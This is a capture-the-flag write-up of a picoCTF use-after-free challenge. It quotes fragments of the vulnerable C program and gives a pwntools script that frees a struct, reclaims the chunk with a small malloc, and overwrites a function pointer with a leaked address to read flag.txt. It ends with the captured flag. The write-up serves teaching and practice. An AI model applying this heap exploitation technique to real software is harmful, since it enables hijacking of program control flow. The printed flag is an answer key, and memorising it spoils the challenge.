Based on the challenge's name, it is obviously going to be a reuse after free exploit.
This vulnerability consists in modifying value of a stuct's attribute after it has been freed, then try to access it using a pointer. With this vulnerability, we should be able to execute unaccessable functions of the programm.

Checkout the source code

Here is the full source code:

First of all, we can notice that the cmd struct uses a function pointer, that could be interesting for us.
typedef struct {
                uintptr_t (*whatToDo)();
                char *username;
            } cmd;

And there is the instance of the class
user = (cmd *)malloc(sizeof(user));

Then, here is the vulnerability, we can deallocate "user"...
void i(){
                char response;
                puts("You're leaving already(Y/N)?");
                scanf(" %c", &response);
                    free(user);// <-- Here
                    puts("Ok. Get premium membership please!");
But the main function keeps continue to call the user's "WhatToDo" function even if it is freed.
void doProcess(cmd* obj) {
                (*obj->whatToDo)(); //<-- call user's function 
int main(){
                setbuf(stdout, NULL);
                user = (cmd *)malloc(sizeof(user));
                        doProcess(user);// <-- Here
                return 0;

Exploit Vulnerability

Our goal is to replace the WhaToDo value with this function's address...
void hahaexploitgobrrr(){
                char buf[FLAG_BUFFER];
                FILE *f = fopen("flag.txt","r");
As it is a not so hard challenge, it leaks the address for us
void s(){ 
                printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
                puts("Thanks for subsribing! I really recommend becoming a premium member!");

Now, we need to put this address at the place of "WhatToDo". Luckily, the memory allocation is very lazy, it means that it would take the first place in the heap it can find. So if user object has just been freed, it will take its place. Now we need to find a function that allocate memory, there it is:
void leaveMessage(){
                puts("I only read premium member messages but you can ");
                puts("try anyways:");
                char* msg = (char*)malloc(8);
                read(0, msg, 8);

Full Exploit

Here is my script to do the full exploit
#!/usr/bin/env python3
#-- all rights: @fey --#
#-- py-version: 3.*  --#

from pwn import *
import struct as st

proc = process(["nc", "", "50361"])

#Leak vuln addr
print("[+] Leaking vuln function's address")
resp = proc.recvuntil("xit")
resp = proc.recvuntil("xit")
leak_addr = resp.split(b"\n")[1].split(b"...")[1]
int_leak_addr = int(leak_addr,16)
print("[*] Vuln function addr:", leak_addr, "->", int_leak_addr, "-->", hex(int_leak_addr))

#Delete User
print("[+] Deleting user struct")
resp = proc.recvuntil("xit")
print("[*] User is now free")

#Update User's function value
print("[+] Updating value for user function, with vuln function")
resp = proc.recvuntil(":\n")
proc.sendline(st.pack("I", int_leak_addr))
print("[*] Value updated")

print("[+] Get flag")
resp = proc.recv().split(b"\n")[0]
resp = str(resp)[2:-1]
print("[!] Here is the flag:", resp)

And finaly...

Here we are : picoCTF{d0ubl3_j30p4rdy_868227ee}